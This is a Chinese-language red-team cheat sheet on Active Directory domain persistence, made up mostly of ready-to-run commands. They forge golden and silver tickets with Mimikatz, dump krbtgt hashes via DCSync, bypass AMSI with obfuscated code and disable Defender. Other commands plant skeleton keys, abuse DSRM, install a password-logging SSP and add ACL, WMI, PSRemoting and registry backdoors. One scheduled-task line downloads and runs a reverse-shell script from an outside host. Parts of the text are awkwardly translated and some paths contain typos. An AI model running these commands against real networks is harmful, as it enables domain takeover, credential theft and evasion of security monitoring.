欢迎阅读我在红队系列中的第五篇文章(Active Directory 域持久化)。希望大家看完本系列前几篇文章,了解所需的基本概念、高级域枚举讲解、AD/Windows本地权限提升指南和AD横向移动。
如果不是这样,您可以从这里阅读。
本指南主要通过创建金票、银票、万能钥匙、DSRM 和多个 ACL 攻击来详细解释 Active-Directory 域持久化。我还将解释每个 pentester/red-teamer 应该控制的术语,以了解在 Active Directory 网络中执行的攻击。您也可以将此称为备忘单。
我将继续使用新的域持久化方法更新本文。
在整篇文章中,我将使用Invoke-Mimikatz在 Windows/Active Directory 域上执行持久性。如果需要任何其他工具,它们将在最后提及。
让我们从上图中分解每一步,了解主机系统和域控制器之间的系统和身份验证是如何发生的。我希望您已经了解 Active Directory 环境中的基本角色和功能。有了这个,让我们开始吧。
现在,这些是 Kerberos 系统通常如何工作的步骤。攻击者可以滥用上述步骤中的每一步来获取利润。我假设您可以访问域控制器并且只需要持久性。既然您现在了解了 Kerberos 系统的工作原理,我们就可以开始讨论如何滥用这些步骤。
1.使用**"Over pass the hash"攻击以"域管理员"**身份获取 Powershell 会话
3. 使用Enter-PSSession进入新会话
4.绕过AMSI
6.使用Invoke-command在新会话上加载Mimikatz.ps1
7.再次使用Enter-PSSession 进入新会话
10.现在转到任何**"非域管理员"**帐户
12. 现在我们可以使用 DC krbtgt哈希创建票证
ls \\dc-corp\C$
或
PsExec64.exe \\adminsys.star.castle.local -u star\adminsys -p passwordhere cmd
Set-MpPreference -DisableRealtimeMonitoring $true
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{O}"-F'F', 'rE' ) ) 3; ( GeT-VariaBle ( "1Q2U" + "zX" ) -VaL_s+)."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{@}{5}" -f'Util', 'A', 'Amsi','.Management.', 'utomation.','s', 'System' ))."g`etf`iE1D"( ( "{O}{2}{1}" -f'amsi','d','InitFaile' ),("{2}{4}{O}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"(${n`ULl},${t`RuE} )
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername <computer-name>
Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:domain-name-goes-here /sid:sid-goes-here /krbtgt:hash-goes-here id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
/ptt : 在当前 Powershell 进程中注入票证/磁盘上没有票证**/ticket** : 将票证保存到文件以供以后使用**/startoffset** : 根据域策略使用**(Get-DomainPolicy -domain)放置适当的偏移值moneycorp.local)."kerberos policy"**否则会话可能会被阻止/未创建
klist
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
使用 DCSync 选项无需在目标 DC 上执行代码(无需运行 Invoke-Mimikatz)
# Enter session
powershell -ep bypass
$sess = New-PSSession -ComputerName <computer-name>
Enter-PSSession $sess# Bypass Protections
[star-dc]:PS> Set-MpPreference -DisableRealtimemonitoring $true
[star-dc]:PS> Set-MpPreference -DisableIOAVProtection $true
# exit PSRemote session
exit
# Get the KRBTGT hash
Invoke-Command -FilePath .\Invoke-Mimikatz.ps1 -Session $sess
Enter-PSSession $sess
[star-dc]:PS> Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
[star-dc]:PS> Invoke-Mimikatz
#Note the admin SID
. .\PowerView.ps1
Get-DomainSID -Administrator#Load the krbtgt hash
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain-name-here /sid:admin-sid-here /krbtgt:krbtg-hash-here id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
ls \\star-dc\C$\
gwmi -Class win32_computersystem -ComputerName star-dc
SPN 列表:https://adsecurity.org/?page_id=183
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername dcorp-dc
Invoke-Mimikatz -Command '"kerberos::golden /domain:star-dc /sid:admin-sid-here /target:star-dc /service:CIFS /rc4:rc4-hash-here /user:Administrator /ptt"'
schtasks /create /S star-dc /SC Weekly /RU "NT Authority\SYSTEM" /TN "STCheck" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://10.10.10.10:8080/Invoke-PowerShellTcp.psi''')'"schtasks /Run /S star-dc /TN "STCheck"
为了访问 WMI,我们必须创建两张票:一张用于 HOST 服务,另一张用于 RPCSS
mimikatz
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton' -ComputerName <computer-name>
万能钥匙密码为:mimikatz
Enter-PSSession -Computername <computer-name> -credential dcorp\Administrator
如果 Lsass 作为受保护进程运行,我们仍然可以使用 Skeleton Key,但它需要目标 DC 磁盘上的 mimikatz 驱动程序 (mimidriv.sys)
mimikatz # privilege::debug mimikatz # !+ mimikatz # !processprotect /process:lsass.exe /remove mimikatz # misc::skeleton mimikatz # !-
以上在日志中会非常嘈杂 - 服务安装(内核模式驱动程序)
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername dcorp-dc
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername dcorp-dc
如果使用**/patch的管理员的NTML哈希与使用DSRM 转储**的管理员的 NTML 哈希不同,则它是 DSRM 本地管理员的正确哈希
由于是DC的本地管理员,我们可以通过hash来进行认证。但是,需要更改 DSRM 帐户的登录行为,然后才能使用其哈希值
#Get a session as the DC
Enter-PSSession -Computername dcorp-dc#check DSRM property
Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\"#If DSRMAdminLognonBehariour attribute not created then create and set
New-ItemProperty "
HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD -Verbose
#If already present but wrong value , then update
Set-ItemProperty -Name "DsrmAdminLogonBehavior" -Value 2
Invoke-Mimikatz -Command '"sekurlsa::pth /domain:dcorp-dc /user:Administrator /ntlm:dsrm-hash-goes-here /run:powershell.exe"'
ls \\dcorp-dc\c$
安全支持提供程序 (SSP) 是一个 DLL,它为应用程序提供获取经过身份验证的连接的方法。Microsoft 的一些 SSP 包是
Mimikatz 提供了一个自定义的 SSP——mimilib.dll。SSP 日志从机器的下一次重新启动开始。此 SSP 在目标服务器上以明文形式记录本地登录、服务帐户和计算机帐户密码。
将 mimilib.dll 拖放到 system32 并将 mimilib 添加到"HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages"
$packages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Ccontrol\Lsa\OSconfig\ -Name 'Security Packages'| select -ExpandProperty 'Security Packages'
$packages += "mimilib"
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\control\Lsa\OSconfig\ -Name 'Security Packages' -Value $packages
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\control\Lsa\ -Name 'Security Packages' -Value $packages
使用 mimikatz,注入 Isass(在 Server 2016 上不稳定):
Invoke-Mimikatz -Command '"misc::memssp"'
现在您可以查看所有带有凭据的本地登录日志
C:\Windows\System32\kiwissp.log
Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose
Invoke-SDPropagator -taskname FixUpInheritance -timeoutMinutes 1 -showProgress -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName user1 -Rights All -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName user1 -Rights ResetPassword -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName user1 -Rights WriteMembers -Verbose
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'user1'}
Set-DomainUserPassword -Identity testda -AccountPassword (ConvertTo-SecureString "[email protected]" -AsPlainText -Force) -Verbose
Import-Module .\PowerView_dev.ps1#Setting password for runas user for
$SecPassword = ConvertTo-SecureString 'password' -AsPlainText -Force
#Setting password for runas user for
$Cred = New-Object System.Management.Automation.PSCredential('Domain-Name-Here\User-here', $SecPassword)
#Set new password fot the user where you can abuse ForceChangePassword
$UserPassword = ConvertTo-SecureString 'Password1!' -AsPlainText -Force
#Update the password for that user
Set-DomainUserPassword -Identity User-Whose-Password-You-Want-To-Change-here -AccountPassword $UserPassword -Crendential $Cred
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName user1 -Rights All -Verbose$sess = New-PSSession -Computername star-dc.root.local
Invoke-Command -FilePath ".\Invoke-SDPropagator.ps1" -Session $sess
Enter-PSSession -Session $sess
[star-dc.root.local]:PS> Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'user1'}
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'user1' -Verbose
Add-ObjectAcl -TargetDistinguishedName 'DC=domain,DC=local' -PrincipalSamAccountName student1 -Rights DCSync -Verbose
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
可以修改多个远程访问方法(安全对象)的安全描述符(安全信息,如所有者、主要组、DACL 和 SACL)以允许非管理员用户访问。
为此需要管理权限。
当然,它是一种非常有用且影响深远的后门机制。
安全描述符定义语言定义了用于描述安全描述符的格式。SDDL 对 DACL 和 SACL 使用 ACE 字符串:
ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid
ACE 用于 WMI 命名空间的内置管理员
A;Cl;CCDCLCSWRPWPRCWD;;;SID
文档:https://docs.microsoft.com/en-us/windows/win32/secauthz/ace-strings?redirectedfrom=MSDN
Set-RemoteWMI -UserName userX -Verbose
Set-RemoteWMI -UserName userX -ComputerName <computer> -namespace 'root\cimv2' -Verbose
Get-WmiObject -Class win32_operatingsystem -ComputerName <computer>
Set-RemoteWMI -UserName userX -ComputerName <computer> -Credential Administrator -namespace 'root\cimv2' -Verbose
Set-RemoteWMI -UserName userX -ComputerName <computer> -namespace 'root\cimv2' -Remove -Verbose
Set-RemotePSRemoting -UserName userX -Verbose
Invoke-Command -ScriptBlock {whoami} -ComputerName <computer>
Set-RemotePSRemoting -UserName userX -ComputerName <computer> -Verbose
Set-RemotePSRemoting -UserName userX -ComputerName <computer> -Remove
Add-RemoteRegBackdoor -ComputerName <computer> -Trustee user1 -Verbose
Get-RemoteMachineAccountHash -ComputerName <computer> -Verbose
如果出错,将脚本中的 InitV
Get-RemoteLocalAccountHash -ComputerName <computer> -Verbose
Get-RemoteCachedCredential -ComputerName <computer> -Verbose